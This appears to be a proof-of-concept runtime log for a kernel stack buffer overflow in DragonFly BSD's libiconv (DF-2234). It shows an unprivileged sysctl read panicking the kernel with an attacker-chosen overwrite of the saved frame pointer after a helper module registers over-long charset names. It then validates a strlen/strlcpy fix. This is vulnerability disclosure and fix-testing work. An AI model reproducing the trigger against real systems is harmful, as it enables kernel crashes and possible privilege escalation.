DF-2234 / run.log
DF-2234 PoC evidence -- runtime log (assembled from verbatim session captures)
SETUP: findings/poc/pushrig.sh ; Guest DragonFly 6.5-DEVELOPMENT X86_64_GENERIC
(INVARIANTS), kernel modules are built -fno-stack-protector (no canary),
kern.iconv.cslist is CTLFLAG_RD (readable by ANY user), kern.iconv.add writes
are gated by caps_priv_check(SYSCAP_NOSYSCTL_WR) -> root only
(sys/kern/kern_sysctl.c:1444-1448).
=============================================================================
PHASE 1 -- boundary proof on STOCK /boot/kernel/libiconv.ko
# kldload libiconv
# /root/rig2234/addtest 30 (root)
addtest namelen=30: sysctl=0 errno=0 (ok) csid=3
# /root/rig2234/addtest 31 (root)
addtest namelen=31: sysctl=-1 errno=22 (Invalid argument) csid=-1
$ /home/maxx/addtest 30 (unprivileged user maxx)
addtest namelen=30: sysctl=-1 errno=1 (Operation not permitted) csid=-1
=> the sysctl-add path bounds names to <= 30 chars and is root-only;
the overflow is NOT reachable by registering long names as an
unprivileged user on this tree.
PHASE 2 -- control read (unprivileged, stock module, no long pair):
$ /home/maxx/csread (user maxx, uid 1001)
cslist: sysctl=0 errno=0 bytes=240
id=1 base=0 ref=0 to=[UTF-16BE] from=[UTF-8]
id=2 base=0 ref=0 to=[UTF-8] from=[UTF-16BE]
id=3 base=0 ref=0 to=[TTTTTTTTTTTTTTTTTTTTTTTTTTTTTT] from=[FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
=============================================================================
PHASE 3 -- TRIGGER (baseline):
# kldload /root/rig2234/longcs.ko
longcs: registered 200-byte charset names (dmesg)
(longcs calls the exported iconv_add("UTF-16BE", <200 x A>, <200 x B>) --
iconv_register_cspair performs NO length validation, iconv.c:179-216)
$ /home/maxx/csread (SAME unprivileged user)
<syscall never returns -- guest panics>
serial console (findings/poc/DF-2234/panic.txt):
Fatal trap 9: general protection fault while in kernel mode
cpuid = 3; lapic id = 3
instruction pointer = 0x8:0xffffffff826005d7 (libiconv.ko text)
stack pointer = 0x10:0xfffff80117f7b7a0
frame pointer = 0x10:0x4242424242424242 <-- 'B' x 8 !!
current process = 1408
Stopped at iconv_sysctl_cslist+0xf7: ret
Reading: strcpy(csi.cs_from, csp->cp_from) copied the 200-byte registered
name over the 31-byte cs_from field, smashed saved RBP with 0x42 bytes and
the ret in iconv_sysctl_cslist trapped. Kernel stack buffer overflow,
triggered by an UNPRIVILEGED read of a CTLFLAG_RD sysctl, with the bytes
and length fully chosen by whoever registered the pair.
Note the trigger needs no output buffer: sysctl_old_user()
(sys/kern/kern_sysctl.c:1321-1345) returns 0 and only bumps oldidx when
req->oldptr == NULL, so the walk (and the strcpy pair) executes during the
sizing pass of ANY read of kern.iconv.cslist.
=============================================================================
FIX VALIDATION -- sys/libiconv/iconv.c patched with fix.diff
(strlen bound in iconv_register_cspair + strlcpy in iconv_sysctl_cslist),
module rebuilt from patched tree as libiconvfix4.ko:
=== A: longcs against FIXED module (expect load FAILURE, EINVAL):
kldload /root/rig2234/longcs.ko
longcs: iconv_add failed: 22
module_register_init: MOD_LOAD (longcs, ffffffff82604000, 0) error 22
--> the 200-char pair is never registered.
=== B: boundary still correct:
addtest namelen=30: sysctl=0 errno=0 (ok) csid=3
addtest namelen=31: sysctl=-1 errno=22 (Invalid argument) csid=-1
=== C: unprivileged read of cslist (expect clean, no crash):
$ /home/maxx/csread
cslist: sysctl=0 errno=0 bytes=240
id=1 base=0 ref=0 to=[UTF-16BE] from=[UTF-8]
id=2 base=0 ref=0 to=[UTF-8] from=[UTF-16BE]
id=3 base=0 ref=0 to=[TTTTTTTTTTTTTTTTTTTTTTTTTTTTTT] from=[FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
--> bit-identical listing to the baseline control (Phase 2); no panic.
BASELINE vs FIXED:
baseline: unpriv read -> Fatal trap 9, RBP = 0x4242424242424242,
Stopped at iconv_sysctl_cslist+0xf7: ret.
fixed : registration of over-long names rejected with EINVAL; legitimate
pairs listed unchanged; strlcpy caps any residual copy at 31
bytes (defense in depth).